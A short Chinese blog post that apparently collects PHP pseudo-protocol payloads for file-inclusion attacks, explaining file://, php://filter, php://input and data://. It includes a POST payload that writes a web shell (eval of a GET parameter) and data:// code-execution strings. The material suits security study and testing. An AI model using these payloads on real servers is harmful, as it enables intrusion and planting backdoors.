Bootstrap

php常用伪协议整理

前言

欢迎来到我的博客

个人主页:北岭敲键盘的荒漠猫-CSDN博客

本文整理php常见的伪协议

php伪协议介绍

直观点,就是php可以识别的协议。

类似于我们访问网站的http协议,我们用浏览器访问我们自己本地文件的file协议等。

php可以识别这些协议,并且访问指定的资源。

PHP伪协议的版本以及适用条件

allow_url_fopen与allow_url_include为php的两个配置选项。

以下为他们的适用条件以及版本条件。

其他语言支持的情况(老图了)。

实现文件读取的协议

file协议

作用:访问绝对路径的文件,并展现内容

需要绝对路径。

php协议

作用:能够读取出数据(需要自行解个码)

payload:

php://filter/read=convert.base64-encode/resource=文件相对路径

实现文件写入的协议

php input协议

作用:有执行代码的能力,可以执行写入文件的 代码

payload:

php://input

POST:

<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

php write协议

作用:写入一个文件

局限性:他需要对方使用file_put_contents($name,$contents)才能执行

payload:

php://filter/write=convert.base64-encode/resource=phpinfo.php

实现代码执行的协议

PHP input协议

作用:执行后续代码

php://input POST:<?php phpinfo();?>

data协议写入

作用:执行后面代码,一个加密,一个不加密。

data://text/plain,<?php phpinfo();?>

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

;